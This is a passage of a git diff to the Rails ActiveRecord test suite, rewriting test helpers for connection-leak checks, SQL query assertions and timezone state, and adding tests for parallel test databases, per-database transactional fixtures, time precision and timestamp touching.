-      ActiveRecord::FixtureSet.create_fixtures(ActiveRecord::TestCase.fixture_path, fixture_set_names, fixture_class_names, &block)
+    def after_teardown
+      super
+      check_connection_leaks
     end
 
-    def teardown
-      SQLCounter.clear_log
+    def check_connection_leaks
+      return if in_memory_db?
+
+      # Make sure tests didn't leave a connection owned by some background thread
+      # which could lead to some slow wait in a subsequent thread.
+      leaked_conn = []
+      ActiveRecord::Base.connection_handler.each_connection_pool do |pool|
+        # Ensure all in flights tasks are completed.
+        # Otherwise they may still hold a connection.
+        if pool.async_executor
+          if pool.async_executor.scheduled_task_count != pool.async_executor.completed_task_count
+            pool.connections.each do |conn|
+              if conn.in_use? && conn.owner != Fiber.current && conn.owner != Thread.current
+                if conn.owner.respond_to?(:join)
+                  conn.owner&.join(0.5)
+                end
+              end
+            end
+          end
+        end
+
+        pool.reap
+        pool.connections.each do |conn|
+          if conn.in_use?
+            if conn.owner != Fiber.current && conn.owner != Thread.current
+              leaked_conn << [conn.owner, conn.owner.backtrace]
+              conn.owner&.kill
+            end
+            conn.steal!
+            pool.checkin(conn)
+          end
+        end
+      end
+
+      if leaked_conn.size > 0
+        puts "Found #{leaked_conn.size} leaked connections"
+        leaked_conn.each do |owner, backtrace|
+          puts "owner: #{owner}"
+          puts "backtrace:\n#{backtrace}"
+          puts
+        end
+        raise "Found #{leaked_conn.size} leaked connection after #{self.class.name}##{name}"
+      end
     end
 
-    def capture_sql
-      SQLCounter.clear_log
-      yield
-      SQLCounter.log_all.dup
+    def create_fixtures(*fixture_set_names)
+      ActiveRecord::FixtureSet.create_fixtures(ActiveRecord::TestCase.fixture_paths, fixture_set_names, fixture_class_names)
     end
 
-    def assert_sql(*patterns_to_match)
-      capture_sql { yield }
-    ensure
-      failed_patterns = []
-      patterns_to_match.each do |pattern|
-        failed_patterns << pattern unless SQLCounter.log_all.any? { |sql| pattern === sql }
+    def capture_sql(include_schema: false)
+      counter = SQLCounter.new
+      ActiveSupport::Notifications.subscribed(counter, "sql.active_record") do
+        yield
+        if include_schema
+          counter.log_all
+        else
+          counter.log
+        end
       end
-      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map(&:inspect).join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
     end
 
-    def assert_queries(num = 1, options = {})
-      ignore_none = options.fetch(:ignore_none) { num == :any }
-      SQLCounter.clear_log
-      x = yield
-      the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
-      if num == :any
-        assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
-      else
-        mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
-        assert_equal num, the_log.size, mesg
+    def capture_sql_and_binds
+      counter = SQLCounter.new
+      ActiveSupport::Notifications.subscribed(counter, "sql.active_record") do
+        yield
+        counter.log_full
       end
-      x
     end
 
-    def assert_no_queries(options = {}, &block)
-      options.reverse_merge! ignore_none: true
-      assert_queries(0, options, &block)
+    # Redefine existing assertion method to explicitly not materialize transactions.
+    def assert_queries_match(match, count: nil, include_schema: false, &block)
+      counter = SQLCounter.new
+      ActiveSupport::Notifications.subscribed(counter, "sql.active_record") do
+        result = _assert_nothing_raised_or_warn("assert_queries_match", &block)
+        queries = include_schema ? counter.log_all : counter.log
+        matched_queries = queries.select { |query| match === query }
+
+        if count
+          assert_equal count, matched_queries.size, "#{matched_queries.size} instead of #{count} queries were executed.#{queries.empty? ? '' : "\nQueries:\n#{queries.join("\n")}"}"
+        else
+          assert_operator matched_queries.size, :>=, 1, "1 or more queries expected, but none were executed.#{queries.empty? ? '' : "\nQueries:\n#{queries.join("\n")}"}"
+        end
+
+        result
+      end
     end
 
     def assert_column(model, column_name, msg = nil)
-      assert has_column?(model, column_name), msg
+      model.reset_column_information
+      assert_includes model.column_names, column_name.to_s, msg
     end
 
     def assert_no_column(model, column_name, msg = nil)
-      assert_not has_column?(model, column_name), msg
+      model.reset_column_information
+      assert_not_includes model.column_names, column_name.to_s, msg
     end
 
-    def has_column?(model, column_name)
-      model.reset_column_information
-      model.column_names.include?(column_name.to_s)
+    def with_has_many_inversing(model = ActiveRecord::Base)
+      old = model.has_many_inversing
+      model.has_many_inversing = true
+      yield
+    ensure
+      model.has_many_inversing = old
     end
-  end
 
-  class PostgreSQLTestCase < TestCase
-    def self.run(*args)
-      super if current_adapter?(:PostgreSQLAdapter)
+    def with_automatic_scope_inversing(*reflections)
+      old = reflections.map { |reflection| reflection.klass.automatic_scope_inversing }
+
+      reflections.each do |reflection|
+        reflection.klass.automatic_scope_inversing = true
+        reflection.remove_instance_variable(:@inverse_name) if reflection.instance_variable_defined?(:@inverse_name)
+        reflection.remove_instance_variable(:@inverse_of) if reflection.instance_variable_defined?(:@inverse_of)
+      end
+
+      yield
+    ensure
+      reflections.each_with_index do |reflection, i|
+        reflection.klass.automatic_scope_inversing = old[i]
+        reflection.remove_instance_variable(:@inverse_name) if reflection.instance_variable_defined?(:@inverse_name)
+        reflection.remove_instance_variable(:@inverse_of) if reflection.instance_variable_defined?(:@inverse_of)
+      end
     end
-  end
 
-  class Mysql2TestCase < TestCase
-    def self.run(*args)
-      super if current_adapter?(:Mysql2Adapter)
+    def with_db_warnings_action(action, warnings_to_ignore = [])
+      original_db_warnings_ignore = ActiveRecord.db_warnings_ignore
+
+      ActiveRecord.db_warnings_action = action
+      ActiveRecord.db_warnings_ignore = warnings_to_ignore
+
+      ActiveRecord::Base.lease_connection.disconnect! # Disconnect from the db so that we reconfigure the connection
+
+      yield
+    ensure
+      ActiveRecord.db_warnings_action = @original_db_warnings_action
+      ActiveRecord.db_warnings_ignore = original_db_warnings_ignore
+      ActiveRecord::Base.lease_connection.disconnect!
     end
-  end
 
-  class SQLite3TestCase < TestCase
-    def self.run(*args)
-      super if current_adapter?(:SQLite3Adapter)
+    def reset_callbacks(klass, kind)
+      old_callbacks = {}
+      old_callbacks[klass] = klass.send("_#{kind}_callbacks").dup
+      klass.subclasses.each do |subclass|
+        old_callbacks[subclass] = subclass.send("_#{kind}_callbacks").dup
+      end
+      yield
+    ensure
+      klass.send("_#{kind}_callbacks=", old_callbacks[klass])
+      klass.subclasses.each do |subclass|
+        subclass.send("_#{kind}_callbacks=", old_callbacks[subclass])
+      end
     end
-  end
 
-  class SQLCounter
-    class << self
-      attr_accessor :ignored_sql, :log, :log_all
-      def clear_log; self.log = []; self.log_all = []; end
+    def with_temporary_connection_pool(&block)
+      pool_config = ActiveRecord::Base.connection_pool.pool_config
+      new_pool = ActiveRecord::ConnectionAdapters::ConnectionPool.new(pool_config)
+
+      pool_config.stub(:pool, new_pool, &block)
+    ensure
+      new_pool&.disconnect!
+    end
+
+    def with_postgresql_datetime_type(type)
+      adapter = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter
+      adapter.remove_instance_variable(:@native_database_types) if adapter.instance_variable_defined?(:@native_database_types)
+      datetime_type_was = adapter.datetime_type
+      adapter.datetime_type = type
+      yield
+    ensure
+      adapter = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter
+      adapter.datetime_type = datetime_type_was
+      adapter.remove_instance_variable(:@native_database_types) if adapter.instance_variable_defined?(:@native_database_types)
     end
 
-    clear_log
+    def with_env_tz(new_tz = "US/Eastern")
+      old_tz, ENV["TZ"] = ENV["TZ"], new_tz
+      yield
+    ensure
+      old_tz ? ENV["TZ"] = old_tz : ENV.delete("TZ")
+    end
 
-    self.ignored_sql = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
+    def with_timezone_config(cfg)
+      verify_default_timezone_config
 
-    # FIXME: this needs to be refactored so specific database can add their own
-    # ignored SQL, or better yet, use a different notification for the queries
-    # instead examining the SQL content.
-    oracle_ignored     = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im, /^\s*select .* from all_constraints/im, /^\s*select .* from all_tab_cols/im]
-    mysql_ignored      = [/^SHOW FULL TABLES/i, /^SHOW FULL FIELDS/, /^SHOW CREATE TABLE /i, /^SHOW VARIABLES /, /^\s*SELECT (?:column_name|table_name)\b.*\bFROM information_schema\.(?:key_column_usage|tables)\b/im]
-    postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select tablename\b.*from pg_tables\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im, /^SHOW search_path/i]
-    sqlite3_ignored =    [/^\s*SELECT name\b.*\bFROM sqlite_master/im, /^\s*SELECT sql\b.*\bFROM sqlite_master/im]
+      old_default_zone = ActiveRecord.default_timezone
+      old_awareness = ActiveRecord::Base.time_zone_aware_attributes
+      old_aware_types = ActiveRecord::Base.time_zone_aware_types
+      old_zone = Time.zone
 
-    [oracle_ignored, mysql_ignored, postgresql_ignored, sqlite3_ignored].each do |db_ignored_sql|
-      ignored_sql.concat db_ignored_sql
+      if cfg.has_key?(:default)
+        ActiveRecord.default_timezone = cfg[:default]
+      end
+      if cfg.has_key?(:aware_attributes)
+        ActiveRecord::Base.time_zone_aware_attributes = cfg[:aware_attributes]
+      end
+      if cfg.has_key?(:aware_types)
+        ActiveRecord::Base.time_zone_aware_types = cfg[:aware_types]
+      end
+      if cfg.has_key?(:zone)
+        Time.zone = cfg[:zone]
+      end
+      yield
+    ensure
+      ActiveRecord.default_timezone = old_default_zone
+      ActiveRecord::Base.time_zone_aware_attributes = old_awareness
+      ActiveRecord::Base.time_zone_aware_types = old_aware_types
+      Time.zone = old_zone
     end
 
-    attr_reader :ignore
+    # This method makes sure that tests don't leak global state related to time zones.
+    EXPECTED_ZONE = nil
+    EXPECTED_DEFAULT_TIMEZONE = :utc
+    EXPECTED_AWARE_TYPES = [:datetime, :time]
+    EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES = false
+    def verify_default_timezone_config
+      if Time.zone != EXPECTED_ZONE
+        $stderr.puts <<-MSG
+    \n#{self}
+        Global state `Time.zone` was leaked.
+          Expected: #{EXPECTED_ZONE}
+          Got: #{Time.zone}
+        MSG
+      end
+      if ActiveRecord.default_timezone != EXPECTED_DEFAULT_TIMEZONE
+        $stderr.puts <<-MSG
+    \n#{self}
+        Global state `ActiveRecord.default_timezone` was leaked.
+          Expected: #{EXPECTED_DEFAULT_TIMEZONE}
+          Got: #{ActiveRecord.default_timezone}
+        MSG
+      end
+      if ActiveRecord::Base.time_zone_aware_attributes != EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES
+        $stderr.puts <<-MSG
+    \n#{self}
+        Global state `ActiveRecord::Base.time_zone_aware_attributes` was leaked.
+          Expected: #{EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES}
+          Got: #{ActiveRecord::Base.time_zone_aware_attributes}
+        MSG
+      end
+      if ActiveRecord::Base.time_zone_aware_types != EXPECTED_AWARE_TYPES
+        $stderr.puts <<-MSG
+    \n#{self}
+        Global state `ActiveRecord::Base.time_zone_aware_types` was leaked.
+          Expected: #{EXPECTED_AWARE_TYPES}
+          Got: #{ActiveRecord::Base.time_zone_aware_types}
+        MSG
+      end
+    end
 
-    def initialize(ignore = Regexp.union(self.class.ignored_sql))
-      @ignore = ignore
+    def clean_up_connection_handler
+      handler = ActiveRecord::Base.connection_handler
+      handler.instance_variable_get(:@connection_name_to_pool_manager).each do |owner, pool_manager|
+        pool_manager.role_names.each do |role_name|
+          next if role_name == ActiveRecord::Base.default_role &&
+                  # TODO: Remove this helper when `remove_connection` for different shards is fixed.
+                  # See https://github.com/rails/rails/pull/49382.
+                  ["ActiveRecord::Base", "ARUnit2Model", "Contact", "ContactSti"].include?(owner)
+          pool_manager.remove_role(role_name)
+        end
+      end
     end
 
-    def call(name, start, finish, message_id, values)
-      return if values[:cached]
+    def quote_table_name(name)
+      ActiveRecord::Base.adapter_class.quote_table_name(name)
+    end
+
+    # Connect to the database
+    ARTest.connect
+    # Load database schema
+    load_schema
+  end
 
-      sql = values[:sql]
-      self.class.log_all << sql
-      self.class.log << sql unless ignore.match?(sql)
+  class PostgreSQLTestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:PostgreSQLAdapter)
+    end
+  end
+
+  class AbstractMysqlTestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    end
+  end
+
+  class Mysql2TestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:Mysql2Adapter)
+    end
+  end
+
+  class TrilogyTestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:TrilogyAdapter)
     end
   end
 
-  ActiveSupport::Notifications.subscribe("sql.active_record", SQLCounter.new)
+  class SQLite3TestCase < TestCase
+    def self.run(*args)
+      super if current_adapter?(:SQLite3Adapter)
+    end
+  end
 end
diff --git a/activerecord/test/cases/test_databases_test.rb b/activerecord/test/cases/test_databases_test.rb
new file mode 100644
index 0000000000000..d2e6568f47657
--- /dev/null
+++ b/activerecord/test/cases/test_databases_test.rb
@@ -0,0 +1,135 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_record/test_databases"
+
+class TestDatabasesTest < ActiveRecord::TestCase
+  unless in_memory_db?
+    def test_databases_are_created
+      previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "arunit"
+      prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, {
+        "arunit" => {
+          "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+        }
+      }
+
+      base_db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      expected_database = "#{base_db_config.database}_2"
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:reconstruct_from_schema, ->(db_config, _) {
+        assert_equal expected_database, db_config.database
+      }) do
+        ActiveRecord::TestDatabases.create_and_load_schema(2, env_name: "arunit")
+      end
+    ensure
+      ActiveRecord::Base.configurations = prev_configs
+      ActiveRecord::Base.establish_connection(:arunit)
+      ENV["RAILS_ENV"] = previous_env
+    end
+
+    def test_create_databases_after_fork
+      previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "arunit"
+      prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, {
+        "arunit" => {
+          "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+        }
+      }
+
+      idx = 42
+      base_db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      expected_database = "#{base_db_config.database}_#{idx}"
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:reconstruct_from_schema, ->(db_config, _) {
+        assert_equal expected_database, db_config.database
+      }) do
+        ActiveSupport::Testing::Parallelization.after_fork_hooks.each { |cb| cb.call(idx) }
+      end
+
+      # Updates the database configuration
+      assert_equal expected_database, ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").database
+    ensure
+      ActiveRecord::Base.configurations = prev_configs
+      ActiveRecord::Base.establish_connection(:arunit)
+      ENV["RAILS_ENV"] = previous_env
+    end
+
+    def test_create_databases_skipped_if_parallelize_test_databases_is_false
+      parallelize_databases = ActiveSupport.parallelize_test_databases
+      ActiveSupport.parallelize_test_databases = false
+
+      previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "arunit"
+      prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, {
+        "arunit" => {
+          "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+        }
+      }
+
+      idx = 42
+      base_db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      expected_database = "#{base_db_config.database}"
+
+      ActiveSupport::Testing::Parallelization.after_fork_hooks.each { |cb| cb.call(idx) }
+
+      # In this case, there should be no updates
+      assert_equal expected_database, ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").database
+    ensure
+      ActiveSupport.parallelize_test_databases = parallelize_databases
+      ActiveRecord::Base.configurations = prev_configs
+      ActiveRecord::Base.establish_connection(:arunit)
+      ENV["RAILS_ENV"] = previous_env
+    end
+
+    def test_order_of_configurations_isnt_changed_by_test_databases
+      previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "arunit"
+      prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, {
+        "arunit" => {
+          "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+          "replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" }
+        }
+      }
+
+      idx = 42
+      base_configs_order = ActiveRecord::Base.configurations.configs_for(env_name: "arunit").map(&:name)
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:reconstruct_from_schema, ->(db_config, _) {
+        assert_equal base_configs_order, ActiveRecord::Base.configurations.configs_for(env_name: "arunit").map(&:name)
+      }) do
+        ActiveSupport::Testing::Parallelization.after_fork_hooks.each { |cb| cb.call(idx) }
+      end
+    ensure
+      ActiveRecord::Base.configurations = prev_configs
+      ActiveRecord::Base.establish_connection(:arunit)
+      ENV["RAILS_ENV"] = previous_env
+    end
+
+    def test_create_databases_after_fork_with_replica
+      previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "arunit"
+      prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, {
+        "arunit" => {
+          "primary" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3" },
+          "replica" => { "adapter" => "sqlite3", "database" => "test/db/primary.sqlite3", "replica" => true }
+        }
+      }
+
+      idx = 42
+      primary_db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+      expected_primary_database = "#{primary_db_config.database}_#{idx}"
+      replica_db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "replica", include_hidden: true)
+      expected_replica_database = "#{replica_db_config.database}_#{idx}"
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(:reconstruct_from_schema, ->(db_config, _) {
+        assert_equal expected_primary_database, db_config.database
+      }) do
+        ActiveSupport::Testing::Parallelization.after_fork_hooks.each { |cb| cb.call(idx) }
+      end
+
+      # Updates the database configuration
+      assert_equal expected_primary_database, ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary").database
+      assert_equal expected_replica_database, ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "replica", include_hidden: true).database
+    ensure
+      ActiveRecord::Base.configurations = prev_configs
+      ActiveRecord::Base.establish_connection(:arunit)
+      ENV["RAILS_ENV"] = previous_env
+    end
+  end
+end
diff --git a/activerecord/test/cases/test_fixtures_test.rb b/activerecord/test/cases/test_fixtures_test.rb
index 58d3bea3a2af6..cf9e9ff91271f 100644
--- a/activerecord/test/cases/test_fixtures_test.rb
+++ b/activerecord/test/cases/test_fixtures_test.rb
@@ -1,6 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "tempfile"
+require "fileutils"
+require "models/zine"
 
 class TestFixturesTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
   setup do
     @klass = Class.new
     @klass.include(ActiveRecord::TestFixtures)
@@ -15,4 +22,181 @@ def test_use_transactional_tests_can_be_overridden
 
     assert_equal "foobar", @klass.use_transactional_tests
   end
+
+  def test_inclusion_runs_active_record_fixtures_load_hook
+    ActiveSupport.on_load(:active_record_fixtures) do
+      self.fixture_paths << "test/fixtures"
+    end
+    klass = Class.new
+
+    klass.include(ActiveRecord::TestFixtures)
+
+    assert_includes klass.fixture_paths, "test/fixtures"
+  end
+
+  unless in_memory_db?
+    def test_doesnt_rely_on_active_support_test_case_specific_methods
+      tmp_dir = Dir.mktmpdir
+      File.write(File.join(tmp_dir, "zines.yml"), <<~YML)
+      going_out:
+        title: Hello
+      YML
+
+      klass = Class.new(Minitest::Test) do
+        include ActiveRecord::TestFixtures
+
+        self.fixture_paths = [tmp_dir]
+        self.use_transactional_tests = true
+
+        fixtures :all
+
+        def test_run_successfully
+          assert_equal("Hello", Zine.first.title)
+          assert_equal("Hello", zines(:going_out).title)
+        end
+      end
+
+      ActiveSupport::Notifications.unsubscribe(@connection_subscriber)
+      @connection_subscriber = nil
+
+      old_handler = ActiveRecord::Base.connection_handler
+      ActiveRecord::Base.connection_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+      ActiveRecord::Base.establish_connection(:arunit)
+
+      test_result = klass.new("test_run_successfully").run
+      assert_predicate(test_result, :passed?)
+    ensure
+      ActiveRecord::Base.connection_handler = old_handler
+      clean_up_connection_handler
+      FileUtils.rm_r(tmp_dir)
+    end
+
+    def test_transactional_tests_per_db_explicitly_disabled
+      tmp_dir = Dir.mktmpdir
+      File.write(File.join(tmp_dir, "zines.yml"), <<~YML)
+      going_out:
+        title: Hello
+      YML
+
+      klass = Class.new(Minitest::Test) do
+        include ActiveRecord::TestFixtures
+
+        self.fixture_paths = [tmp_dir]
+        self.use_transactional_tests = true
+        self.skip_transactional_tests_for_database :primary
+
+        fixtures :all
+
+        def test_run_successfully
+          assert_equal("Hello", Zine.first.title)
+          assert_equal("Hello", zines(:going_out).title)
+          # Change the data in the primary connection
+          Zine.first.update!(title: "Goodbye")
+        end
+      end
+
+      test_result = klass.new("test_run_successfully").run
+      assert_predicate(test_result, :passed?)
+      # Ensure that the primary connection was NOT rolled back
+      assert_equal("Goodbye", Zine.first.title)
+    ensure
+      FileUtils.rm_r(tmp_dir)
+    end
+
+    def test_transactional_tests_per_db_explicitly_enabled
+      tmp_dir = Dir.mktmpdir
+      File.write(File.join(tmp_dir, "zines.yml"), <<~YML)
+      going_out:
+        title: Hello
+      YML
+
+      klass = Class.new(Minitest::Test) do
+        include ActiveRecord::TestFixtures
+
+        self.fixture_paths = [tmp_dir]
+        self.use_transactional_tests = false
+        self.use_transactional_tests_for_database :primary
+
+        fixtures :all
+
+        def test_run_successfully
+          assert_equal("Hello", Zine.first.title)
+          assert_equal("Hello", zines(:going_out).title)
+          # Change the data in the primary connection
+          Zine.first.update!(title: "Goodbye")
+        end
+      end
+
+      test_result = klass.new("test_run_successfully").run
+      assert_predicate(test_result, :passed?)
+      # Ensure that the primary connection WAS rolled back
+      assert_equal("Hello", Zine.first.title)
+    ensure
+      FileUtils.rm_r(tmp_dir)
+    end
+
+    def test_transactional_tests_per_db_default_enabled
+      tmp_dir = Dir.mktmpdir
+      File.write(File.join(tmp_dir, "zines.yml"), <<~YML)
+      going_out:
+        title: Hello
+      YML
+
+      klass = Class.new(Minitest::Test) do
+        include ActiveRecord::TestFixtures
+
+        self.fixture_paths = [tmp_dir]
+        self.use_transactional_tests = true
+        self.skip_transactional_tests_for_database :unrelated
+
+        fixtures :all
+
+        def test_run_successfully
+          assert_equal("Hello", Zine.first.title)
+          assert_equal("Hello", zines(:going_out).title)
+          # Change the data in the primary connection
+          Zine.first.update!(title: "Goodbye")
+        end
+      end
+
+      test_result = klass.new("test_run_successfully").run
+      assert_predicate(test_result, :passed?)
+      # Ensure that the primary connection WAS rolled back
+      assert_equal("Hello", Zine.first.title)
+    ensure
+      FileUtils.rm_r(tmp_dir)
+    end
+
+    def test_transactional_tests_per_db_default_disabled
+      tmp_dir = Dir.mktmpdir
+      File.write(File.join(tmp_dir, "zines.yml"), <<~YML)
+      going_out:
+        title: Hello
+      YML
+
+      klass = Class.new(Minitest::Test) do
+        include ActiveRecord::TestFixtures
+
+        self.fixture_paths = [tmp_dir]
+        self.use_transactional_tests = false
+        self.use_transactional_tests_for_database :unrelated
+
+        fixtures :all
+
+        def test_run_successfully
+          assert_equal("Hello", Zine.first.title)
+          assert_equal("Hello", zines(:going_out).title)
+          # Change the data in the primary connection
+          Zine.first.update!(title: "Goodbye")
+        end
+      end
+
+      test_result = klass.new("test_run_successfully").run
+      assert_predicate(test_result, :passed?)
+      # Ensure that the primary connection was NOT rolled back
+      assert_equal("Goodbye", Zine.first.title)
+    ensure
+      FileUtils.rm_r(tmp_dir)
+    end
+  end
 end
diff --git a/activerecord/test/cases/time_precision_test.rb b/activerecord/test/cases/time_precision_test.rb
index 09c585167eebb..dfcd208d48025 100644
--- a/activerecord/test/cases/time_precision_test.rb
+++ b/activerecord/test/cases/time_precision_test.rb
@@ -1,15 +1,17 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
-if subsecond_precision_supported?
-  class TimePrecisionTest < ActiveRecord::TestCase
+class TimePrecisionTest < ActiveRecord::TestCase
+  if supports_datetime_with_precision?
     include SchemaDumpingHelper
     self.use_transactional_tests = false
 
     class Foo < ActiveRecord::Base; end
 
     setup do
-      @connection = ActiveRecord::Base.connection
+      @connection = ActiveRecord::Base.lease_connection
       Foo.reset_column_information
     end
 
@@ -25,6 +27,44 @@ def test_time_data_type_with_precision
       assert_equal 6, Foo.columns_hash["finish"].precision
     end
 
+    def test_time_precision_is_truncated_on_assignment
+      @connection.create_table(:foos, force: true)
+      @connection.add_column :foos, :start,  :time, precision: 0
+      @connection.add_column :foos, :finish, :time, precision: 6
+
+      time = ::Time.now.change(nsec: 123456789)
+      foo = Foo.new(start: time, finish: time)
+
+      assert_equal 0, foo.start.nsec
+      assert_equal 123456000, foo.finish.nsec
+
+      foo.save!
+      foo.reload
+
+      assert_equal 0, foo.start.nsec
+      assert_equal 123456000, foo.finish.nsec
+    end
+
+    unless current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      def test_no_time_precision_isnt_truncated_on_assignment
+        @connection.create_table(:foos, force: true)
+        @connection.add_column :foos, :start,  :time
+        @connection.add_column :foos, :finish, :time, precision: 6
+
+        time = ::Time.now.change(nsec: 123)
+        foo = Foo.new(start: time, finish: time)
+
+        assert_equal 123, foo.start.nsec
+        assert_equal 0, foo.finish.nsec
+
+        foo.save!
+        foo.reload
+
+        assert_equal 0, foo.start.nsec
+        assert_equal 0, foo.finish.nsec
+      end
+    end
+
     def test_passing_precision_to_time_does_not_set_limit
       @connection.create_table(:foos, force: true) do |t|
         t.time :start,  precision: 3
@@ -35,7 +75,7 @@ def test_passing_precision_to_time_does_not_set_limit
     end
 
     def test_invalid_time_precision_raises_error
-      assert_raises ActiveRecord::ActiveRecordError do
+      assert_raises ArgumentError do
         @connection.create_table(:foos, force: true) do |t|
           t.time :start,  precision: 7
           t.time :finish, precision: 7
@@ -48,8 +88,10 @@ def test_formatting_time_according_to_precision
         t.time :start,  precision: 0
         t.time :finish, precision: 4
       end
+
       time = ::Time.utc(2000, 1, 1, 12, 30, 0, 999999)
       Foo.create!(start: time, finish: time)
+
       assert foo = Foo.find_by(start: time)
       assert_equal 1, Foo.where(finish: time).count
       assert_equal time.to_s, foo.start.to_s
@@ -68,7 +110,7 @@ def test_schema_dump_includes_time_precision
       assert_match %r{t\.time\s+"finish",\s+precision: 6$}, output
     end
 
-    if current_adapter?(:PostgreSQLAdapter, :SQLServerAdapter)
+    if current_adapter?(:PostgreSQLAdapter)
       def test_time_precision_with_zero_should_be_dumped
         @connection.create_table(:foos, force: true) do |t|
           t.time :start,  precision: 0
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
index 39b40e34118fb..3e3ce6601728f 100644
--- a/activerecord/test/cases/timestamp_test.rb
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/ddl_helper"
 require "models/developer"
@@ -38,17 +40,25 @@ def test_touching_a_record_updates_its_timestamp
 
     assert_not_equal @previously_updated_at, @developer.updated_at
     assert_equal previous_salary + 10000, @developer.salary
-    assert @developer.salary_changed?, "developer salary should have changed"
-    assert @developer.changed?, "developer should be marked as changed"
+    assert_predicate @developer, :salary_changed?, "developer salary should have changed"
+    assert_predicate @developer, :changed?, "developer should be marked as changed"
+    assert_equal ["salary"], @developer.changed
+    assert_predicate @developer, :saved_changes?
+    assert_equal ["legacy_updated_at", "legacy_updated_on"], @developer.saved_changes.keys.sort
+
     @developer.reload
     assert_equal previous_salary, @developer.salary
   end
 
   def test_touching_a_record_with_default_scope_that_excludes_it_updates_its_timestamp
     developer = @developer.becomes(DeveloperCalledJamis)
-
     developer.touch
+
     assert_not_equal @previously_updated_at, developer.updated_at
+    assert_not_predicate developer, :changed?
+    assert_predicate developer, :saved_changes?
+    assert_equal ["legacy_updated_at", "legacy_updated_on"], developer.saved_changes.keys.sort
+
     developer.reload
     assert_not_equal @previously_updated_at, developer.updated_at
   end
@@ -88,21 +98,28 @@ def test_touching_an_attribute_updates_timestamp
       @developer.touch(:created_at)
     end
 
-    assert !@developer.created_at_changed? , "created_at should not be changed"
-    assert !@developer.changed?, "record should not be changed"
+    assert_not @developer.created_at_changed?, "created_at should not be changed"
+    assert_not @developer.changed?, "record should not be changed"
     assert_not_equal previously_created_at, @developer.created_at
     assert_not_equal @previously_updated_at, @developer.updated_at
   end
 
+  def test_touching_update_at_attribute_as_symbol_updates_timestamp
+    travel(1.second) do
+      @developer.touch(:updated_at)
+    end
+
+    assert_not @developer.updated_at_changed?
+    assert_not @developer.changed?
+    assert_not_equal @previously_updated_at, @developer.updated_at
+  end
+
   def test_touching_an_attribute_updates_it
     task = Task.first
     previous_value = task.ending
     task.touch(:ending)
-
-    now = Time.now.change(usec: 0)
-
     assert_not_equal previous_value, task.ending
-    assert_in_delta now, task.ending, 1
+    assert_in_delta Time.now, task.ending, 1
   end
 
   def test_touching_an_attribute_updates_timestamp_with_given_time
@@ -123,12 +140,10 @@ def test_touching_many_attributes_updates_them
     previous_ending = task.ending
     task.touch(:starting, :ending)
 
-    now = Time.now.change(usec: 0)
-
